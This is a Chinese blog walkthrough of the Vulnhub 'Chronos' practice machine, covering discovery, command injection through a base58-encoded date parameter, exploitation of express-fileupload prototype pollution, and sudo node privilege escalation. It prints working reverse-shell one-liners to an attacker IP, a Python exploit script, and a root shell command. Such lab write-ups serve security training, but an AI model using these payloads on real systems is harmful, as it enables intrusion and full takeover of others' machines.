当前位置:网站首页>Vulnhub靶机--Chronos

Vulnhub靶机--Chronos

2022-08-11 05:32:00 Tauil

0x00 项目地址

https://download.vulnhub.com/chronos/Chronos.ova

0x01 靶机渗透

主机发现

arp-scan -l
nmap 192.168.0.106

在这里插入图片描述

登录靶机页面,查看网络数据包,发现有两个数据包被拒绝了,查看到其IP显示为chronos.local,其回显仍然是靶机IP,所以需要修改 dns 指向,在本地 hosts 文件中将该网站进行自定义转向,输入命令vim /etc/hosts,将对应内容记入,然后再输入/etc/init.d/network restart

在这里插入图片描述

再访问chronos.local网页时就能正常显示了,我们可以看到该两个特别的网页存在一个/date?format=xxxxxx参数上传,页面又是显示日期的,那么该处应该是执行了date命令

在这里插入图片描述

尝试将该参数进行解码,发现是base58编码,并且该语句后面衔接其他命令是可执行的,那么要是该网页输入参数没有进行替换或者过滤的话,便可以执行任意语句

在这里插入图片描述
在这里插入图片描述

打开burpsuite抓包,将对应命令进行base58编码发送

echo "| bash -c 'bash -i >& /dev/tcp/攻击机IP/4444 0>&1' | base58

在这里插入图片描述在这里插入图片描述

回显了错误提示,但是仍然成功连接了,如果不行的话可以使用

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 端口 >/tmp/f' | base58

0x02 提权

查看具有suid的程序

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

没有可利用的,继续查看网络设置

netstat -nltp

在这里插入图片描述

发现该靶机还开了另外一个网络服务,在本地8080端口,而外网无法访问到,我们先找到该网络服务所在文件,发现在另一个版本的chronos-v2中

在这里插入图片描述

全部翻看一遍后发现使用了具有漏洞的express-fileupload中间插件,在攻击机另起一个终端,输入命令

vim shell.py

然后将以下内容写入

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/攻击机IP/1111 0>&1"'
requests.post('http://127.0.0.1:8080', files = {
    '__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{
      cmd}');x")})
    
requests.get('http://127.0.0.1:8080')

将该文件放到web文件夹cp shell.py /var/www/html/,打开web服务service apache2 start,再输入nc -lvvp 1111,然后回到webshell中输入对应命令wget http://攻击机IP/shell.py,再python3 shell.py执行该文件

在这里插入图片描述

获得了另一个用户,该用户可以查看/home/user.txt文件,但是不能进入root文件夹,先将user.txt文件下载保存

在这里插入图片描述
输入sudo -l查看用户权限,发现了node和npm可以使用root,在https://gtfobins.github.io/中查看这两个东西

查到node可以使用以下命令提权

sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

npm提权后仍然是当前用户,提权后进入root文件,将文件内容下载

在这里插入图片描述

这两个文件解码好像是base64吧,base58不能解码,解码出来的是什么语言我也看不懂

在这里插入图片描述

原网站

版权声明
本文为[Tauil]所创,转载请带上原文链接,感谢
https://blog.csdn.net/Tauil/article/details/126185341